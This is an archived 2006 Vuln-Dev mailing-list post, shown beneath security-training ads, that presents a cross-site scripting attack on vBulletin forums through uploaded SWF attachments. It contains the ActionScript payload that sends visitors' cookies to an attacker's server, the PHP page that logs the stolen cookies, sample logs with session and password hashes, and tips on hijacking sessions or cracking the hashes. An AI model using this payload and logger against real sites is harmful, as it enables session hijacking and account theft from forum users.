Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

XSS with Vbulletin (new idea !)

Subject: XSS with Vbulletin (new idea !)
Date: 24 Dec 2006 22:12:08 -0000
Author : Ashraf Morad
Contact : ashraf1984@hotmail.com

XSS with vBulletin (Attachments supported , SWF is a valid extension) !

Materials : 

-Any SWF file with an actionscript frame : 

ActionScript Code : 

getURL("javascript:function blab(){}var scriptNode = 
document.createElement('script');document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='javascript';scriptNode.src='http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie;blab();");

-PHP page hosted :

UrPHPpage.php code :

<?
$fp = fopen("Mylog.txt","a");
if($_GET['Cookie'])
{
$str="
".date("Y-m-d h:i:s")."^".$_GET['Cookie'];
fwrite($fp,$str);       
}
fclose($fp);
?>

Or you can send the cookie to your email ...

Then the Log file will be like this :

2006-12-22 10:00:57^bbsessionhash=5d5bbd44581e8670511dea2336bf6b7c; 
bblastvisit=1166967717; bblastactivity=0; 
bbforum_view=7dc07389c9e27c2ff67b4da319df9596a-1-{i-3_i-1166967717_}; 
bbuserid=913; bbpassword=ae0f78853127d9847dce0bfe6427bc2d
2006-12-22 10:25:39^bblastvisit=1166967717; bblastactivity=0; bbuserid=9913; 
bbpassword=ae0f78853127d9847dce0bfe6427bc2d; 
bbsessionhash=3d085f4ee5d4e4ac7af73e18d8fb6539; 
bbforum_view=6f750f5b123c84f0be72a9844b9cebaba-1-{i-3_i-1166973674_}

Then you can use any cookie editor or you can crack the MD5 password hash ...

enjoy ;)

<Prev in Thread] Current Thread [Next in Thread>